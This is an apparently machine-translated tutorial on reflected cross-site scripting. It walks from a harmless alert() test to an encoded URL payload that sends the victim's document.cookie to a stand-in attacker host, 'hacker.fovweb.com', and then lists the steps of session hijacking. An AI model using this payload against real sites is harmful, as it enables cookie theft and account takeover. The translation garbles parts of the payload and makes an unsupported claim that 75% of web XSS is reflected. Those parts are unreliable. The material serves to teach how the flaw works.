Cross-site Scripting: reflected XSS Vulnerability

A common XSS vulnerability may occur if a WEB application uses dynamic page transmission parameters to Display error messages to users. Generally, such a page uses a parameter that contains the message text and returns the text to the user when the page is loaded. For developers, this method is very convenient, because this solution can easily return different messages to different States and use a customized information prompt page.

 

For example, if a parameter is output to the HTML page, a message is returned when the following URL is opened:

Http://fovweb.com/xss/message.php? Send = Hello, World!

Output content:

Hello, World!

This program is used to extract data from parameters and insert it into the HTML code after the page is loaded. This is an obvious feature of XSS vulnerability: if this program has no security measures such as filtering, then it will be very vulnerable to attacks. Let's take a look at how to launch an attack.
The URL parameter of the original program is replaced with the code we use for testing:

Http://www.bkjia.com/xss/message. php? Send = <script> alert ('xsss') </script>

The page output content is:

<Script> alert ('xss') </script>

When a user opens a browser, a message is displayed. 1:

Figure 1 test XSS by passing parameters through URL

There are nearly 75% of the XSS vulnerabilities in Web programs on the Internet. This vulnerability requires sending a request containing embedded JavaScript code, which is then reflected to the requesting user. Therefore, it is called a reflected XSS. The attack is effectively transmitted and executed through a separate request and response, because it is also known as Level 1 XSS.

Exploit vulnerabilities

There are many ways to use XSS to attack other users of Web programs. The simplest attack method is to use the XSS vulnerability to hijack authenticated user sessions. After the authenticated session is hijacked, the attacker has all the permissions of the authorized user.
The procedure for session permission hijacking using the reflected XSS vulnerability is as follows:

Figure 2 XSS vulnerability attack steps

(1) If you log on to the Web application normally, you will get a cookie of the session information after Successful Logon:
Example:

Set-cookie: sessId = f16e1035c301aa099c971682d806c0c7 f16e1035c301aa099c971682d806c0c7

(2) the attacker sends a URL containing the attack code to the attacked person;

Example:

Http://fovweb.com/xss/message.php? Send = % 3 Cscript % 3Edocument. write ('% 3 Cimg % 20 height = 0% 20 width = 0% 20src = % 22 http://hacker.fovweb.com/xss/cookie_save.php%3fcookie%3d'%20%%20encodeurl (document. cookie) % 20 + % 20' % 22/% 3E ') % 3C/script % 3E

(3) the user opens the ULR sent by the attacker;
(4) Web applications execute user requests;
(5) attackers may also execute the JavaScript code contained in the URL;
(6) In this example, the attacker uses the attack code to send the user's cookie information to the cookie_save.php file for recording;
(7) attackers can use the cookie information to hijack users' sessions. Log on as the user.